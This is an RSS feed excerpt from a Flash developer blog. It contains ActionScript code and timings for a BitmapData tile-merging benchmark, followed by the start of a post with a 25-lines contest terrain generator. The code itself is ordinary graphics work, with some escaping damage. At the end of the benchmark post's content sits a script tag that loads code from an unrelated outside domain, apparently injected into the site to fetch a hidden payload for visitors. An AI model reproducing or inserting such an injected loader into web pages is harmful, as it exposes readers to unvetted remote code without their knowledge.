<span style="color: #000000; font-weight: bold;">var</span> rY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> onLoaded<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	w = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">width</span>;
	h = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">height</span>;
	<span style="color: #000000; font-weight: bold;">var</span> image:BitmapData = Bitmap<span style="color: #66cc66;">&#40;</span>evt.<span style="color: #0066CC;">target</span>.<span style="color: #006600;">content</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">bitmapData</span>;
	<span style="color: #000000; font-weight: bold;">var</span> tileWidth:<span style="color: #0066CC;">Number</span> = w <span style="color: #66cc66;">/</span> cols;
	<span style="color: #000000; font-weight: bold;">var</span> tileHeight:<span style="color: #0066CC;">Number</span> = h <span style="color: #66cc66;">/</span> rows;
	<span style="color: #000000; font-weight: bold;">var</span> inc:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>;
	<span style="color: #000000; font-weight: bold;">var</span> pnt:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> rect:Rectangle = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>rows; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> j:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; j<span style="color: #66cc66;">&lt;</span>cols; j ++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			 <span style="color: #000000; font-weight: bold;">var</span> currTile:BitmapData= <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span>tileWidth, tileHeight, <span style="color: #000000; font-weight: bold;">true</span>, 0x00000000<span style="color: #66cc66;">&#41;</span>;
			 rect.<span style="color: #006600;">x</span> = j <span style="color: #66cc66;">*</span> tileWidth;
			 rect.<span style="color: #006600;">y</span> = i <span style="color: #66cc66;">*</span> tileHeight;
			 currTile.<span style="color: #006600;">merge</span><span style="color: #66cc66;">&#40;</span>image,rect,pnt,0xFF,0xFF,0xFF,0xFF<span style="color: #66cc66;">&#41;</span>;
			 tiles<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = currTile;
			 rect.<span style="color: #006600;">x</span> += <span style="color: #cc66cc;">25</span>;
			 rect.<span style="color: #006600;">y</span> += <span style="color: #cc66cc;">25</span>;
			 sX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">x</span>;
			 sY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">y</span>;
			 locX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = -rect.<span style="color: #0066CC;">width</span> <span style="color: #66cc66;">*</span> <span style="color: #cc66cc;">2</span>
			 locY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> =  <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>;
			 setTimeout<span style="color: #66cc66;">&#40;</span>startAnimation, inc <span style="color: #66cc66;">*</span><span style="color: #cc66cc;">4</span> + <span style="color: #cc66cc;">100</span>, inc, rect.<span style="color: #006600;">x</span>, rect.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
			 inc++;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;merge&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
	addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>, onLoop<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> startAnimation<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span>, dx:<span style="color: #0066CC;">Number</span>, dy:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> interval:<span style="color: #0066CC;">Number</span>;
	<span style="color: #000000; font-weight: bold;">var</span> animate:<span style="color: #000000; font-weight: bold;">Function</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
		locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dx - locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dy - locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dx<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">&amp;&amp;</span> <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dy<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dx;
			locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dy;
			<span style="color: #0066CC;">clearInterval</span><span style="color: #66cc66;">&#40;</span>interval<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
   interval = <span style="color: #0066CC;">setInterval</span><span style="color: #66cc66;">&#40;</span>animate, <span style="color: #cc66cc;">32</span>, <span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">var</span> canvas:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>,<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>,<span style="color: #000000; font-weight: bold;">false</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span>canvas<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> loc:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> onLoop<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span>
	  canvas.<span style="color: #006600;">fillRect</span><span style="color: #66cc66;">&#40;</span>canvas.<span style="color: #006600;">rect</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>tiles.<span style="color: #0066CC;">length</span>; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			<span style="color: #000000; font-weight: bold;">var</span> tile:BitmapData= tiles<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			loc.<span style="color: #006600;">x</span> = locX<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			loc.<span style="color: #006600;">y</span> = locY<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			canvas.<span style="color: #006600;">merge</span><span style="color: #66cc66;">&#40;</span>tile, tile.<span style="color: #006600;">rect</span>, loc, 0xFF,0xFF,0xFF,0xFF<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #66cc66;">&#125;</span>
	  <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;merge&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p><strong>~36</strong> ms to extract and ~12ms to merge tiles on the canvas!!!&#8230;too slow all the way&#8230;:\</p>
<p>There are still some methods left such as getPixel\setPixel, getPixel32\setPixel32, and copyChannel but they&#8217;re a too much restrictive choice because they&#8217;re handling one pixel, or channel at time therefore a further loop would be required to get them doing this task.</p>
<p>Summary:<br />
getVector\setVector : ~9ms\~1ms<br />
getPixels\setPixels: ~17ms\~2ms<br />
copyPixels: ~27ms\~2-3ms<br />
merge: ~36ms\~12ms</p>
<p>make your choice <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>NOTE: these benchmarks are valid from flash player 10 because we (both me and <a href="http://actionsnippet.com/?page_id=3">Zevan</a>) used the Vector native type to store lists of typed data. To make them valid for previous version of the player make sure to replace vectors with arrays and check other types are already supported by the target player.</p>
<p>stay tuned <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2009/07/15/bitmapdata-manipulation-benchmark/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>My entry to Bit-101s 25 Lines competition</title>
		<link>http://www.flashfuck.it/2008/11/30/my-entry-to-bit-101s-25-lines-competition/</link>
		<comments>http://www.flashfuck.it/2008/11/30/my-entry-to-bit-101s-25-lines-competition/#comments</comments>
		<pubDate>Sun, 30 Nov 2008 13:45:08 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Community]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flash Player 10]]></category>
		<category><![CDATA[25lines]]></category>
		<category><![CDATA[contest]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=101</guid>
		<description><![CDATA[Yep, i made my submission to 25lines contest just few days ago (right in time   ), so (as Sakri did some days before me) I&#8217;m publishing my code. It&#8217;s an easy terrain generator&#8230;


Actually, I think it can be somehow improved both in lines of code and actual performances, so feel free to edit [...]]]></description>
			<content:encoded><![CDATA[<p>Yep, i made my submission to <a href="http://www.25lines.com/" target="_blank">25lines contest</a> just few days ago (right in time <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ), so (as <a href="http://www.sakri.net/blog/2008/11/19/my-entry-to-bit-101s-25-lines-competition/" target="_blank">Sakri did some days before me</a>) I&#8217;m publishing my code. It&#8217;s an easy terrain generator&#8230;</p>
<p><a href="http://www.flashfuck.it/wp-content/uploads/2008/11/25lines.jpg"></a></p>
<p style="text-align: center;"><a href="http://www.flashfuck.it/wp-content/uploads/2008/11/25linesbmpoptimized.swf" target="_blank"><img class="alignnone size-medium wp-image-102 aligncenter" title="25lines" src="http://www.flashfuck.it/wp-content/uploads/2008/11/25lines-300x300.jpg" alt="" width="300" height="300" /></a></p>
<p>Actually, I think it can be somehow improved both in lines of code and actual performances, so feel free to edit or tell me &#8220;you&#8217;d better to do that this other way&#8230;&#8221; <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>What&#8217;s going on is:</p>
<ul>
<li>generate a shape filled with a gradient to create a reference color for differents &#8220;height&#8221;</li>
<li>generate a perlinNoise everyframe for dataprovider use</li>
<li>detect each perlinNoise pixel depth according with its main channel value (blue in this case..)</li>
<li>generating a vector of Bitmaps to be employed in the view</li>
</ul>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p101code10'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p10110"><td class="code" id="p101code10"><pre class="actionscript" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/**
 * 25-Line ActionScript Contest Entry
 *
 * Project: Random Terrain 3D Generator
 * Author:  Piergiorgio Niero (aka pigiuz) piergiorgio.niero[at]gmail.com
 * Date:    11/24/08
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the &quot;Software&quot;), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */</span>
&nbsp;
<span style="color: #808080; font-style: italic;">// 3 free lines! Alter the parameters of the following lines or remove them.</span>
<span style="color: #808080; font-style: italic;">// Do not substitute other code for the three lines in this section</span>
<span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">800</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">800</span>, <span style="color: #0066CC;">backgroundColor</span>=0xffffff, frameRate=<span style="color: #cc66cc;">24</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #0066CC;">stage</span>.<span style="color: #0066CC;">align</span> = StageAlign.<span style="color: #006600;">TOP_LEFT</span>;
<span style="color: #0066CC;">stage</span>.<span style="color: #0066CC;">scaleMode</span> = StageScaleMode.<span style="color: #006600;">NO_SCALE</span>;
<span style="color: #808080; font-style: italic;">// 25 lines begins here!</span>
<span style="color: #000000; font-weight: bold;">var</span> _bd:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">50</span>,<span style="color: #cc66cc;">50</span>,<span style="color: #000000; font-weight: bold;">false</span>,0x0000FF<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _points:<span style="color: #0066CC;">Array</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _vxCont:Sprite = Sprite<span style="color: #66cc66;">&#40;</span>addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Sprite<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
_vxCont.<span style="color: #006600;">x</span> = _vxCont.<span style="color: #006600;">y</span> = <span style="color: #cc66cc;">400</span>;
<span style="color: #000000; font-weight: bold;">var</span> _vexels:Vector. = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">2500</span><span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _hMap:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">255</span>,<span style="color: #cc66cc;">1</span>,<span style="color: #000000; font-weight: bold;">false</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _gradient:Shape = <span style="color: #000000; font-weight: bold;">new</span> Shape<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
_gradient.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">beginGradientFill</span><span style="color: #66cc66;">&#40;</span> GradientType.<span style="color: #006600;">LINEAR</span>,<span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span> 0x4267F9, 0xF9EAB0, 0x9EF07D, 0x8DF273, 0x9D5E1E, 0xFFFFFF <span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span> <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span> <span style="color: #cc66cc;">90</span>, <span style="color: #cc66cc;">105</span>, <span style="color: #cc66cc;">110</span>, <span style="color: #cc66cc;">120</span>, <span style="color: #cc66cc;">145</span>, <span style="color: #cc66cc;">185</span> <span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">new</span> Matrix<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0.2456396484375</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0.0006103524625</span>,<span style="color: #cc66cc;">127.5</span>,.5<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
_gradient.<span style="color: #006600;">graphics</span>.<span style="color: #006600;">drawRect</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">255</span>,<span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>;
_hMap.<span style="color: #006600;">draw</span><span style="color: #66cc66;">&#40;</span>_gradient<span style="color: #66cc66;">&#41;</span>;
addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>,generatePerlinNoise<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> generatePerlinNoise<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:Event=<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	_bd.<span style="color: #006600;">perlinNoise</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">25</span>,<span style="color: #cc66cc;">25</span>,<span style="color: #cc66cc;">1</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #000000; font-weight: bold;">false</span>,<span style="color: #000000; font-weight: bold;">true</span>,<span style="color: #cc66cc;">4</span>,<span style="color: #000000; font-weight: bold;">false</span>,_points<span style="color: #66cc66;">&#41;</span>;
	Point<span style="color: #66cc66;">&#40;</span>_points<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">y</span>+=<span style="color: #cc66cc;">1</span>;
	<span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> v:uint=<span style="color: #cc66cc;">0</span>;v<span style="color: #66cc66;">&amp;</span>amp;lt;<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">2500</span><span style="color: #66cc66;">&#41;</span>;v++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span> = <span style="color: #66cc66;">&#40;</span>_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>==<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>?generateVoxel<span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">&#41;</span>:_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>;
		_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">y</span> = <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">pow</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">%</span>50,<span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">floor</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">/</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&amp;</span>amp; 0xFF<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">/</span><span style="color: #cc66cc;">255</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">6</span>,<span style="color: #cc66cc;">3</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.24;
		_vxCont.<span style="color: #006600;">rotationX</span> = mouseY<span style="color: #66cc66;">*</span>.1;
		_vxCont.<span style="color: #006600;">rotationY</span> = <span style="color: #66cc66;">&#40;</span>_vxCont.<span style="color: #006600;">rotationY</span>-<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">90</span><span style="color: #66cc66;">/</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span><span style="color: #66cc66;">*</span><span style="color: #66cc66;">&#40;</span>mouseX-<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #cc66cc;">45</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span>.5;
		_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">bitmapData</span>.<span style="color: #006600;">floodFill</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,_hMap.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">255</span>-<span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">%</span>50,<span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">floor</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">/</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&amp;</span>amp; 0xFF<span style="color: #66cc66;">&#41;</span>,<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#125;</span><span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> generateVoxel<span style="color: #66cc66;">&#40;</span>v:uint<span style="color: #66cc66;">&#41;</span>:Bitmap<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> b:Bitmap = <span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5,<span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5,<span style="color: #000000; font-weight: bold;">false</span>,0x000000<span style="color: #66cc66;">&#41;</span>,<span style="color: #ff0000;">&quot;auto&quot;</span>,<span style="color: #000000; font-weight: bold;">false</span><span style="color: #66cc66;">&#41;</span>;
	b.<span style="color: #006600;">x</span> = v<span style="color: #66cc66;">%</span>50<span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span>-<span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #0066CC;">width</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5<span style="color: #66cc66;">&#41;</span>;
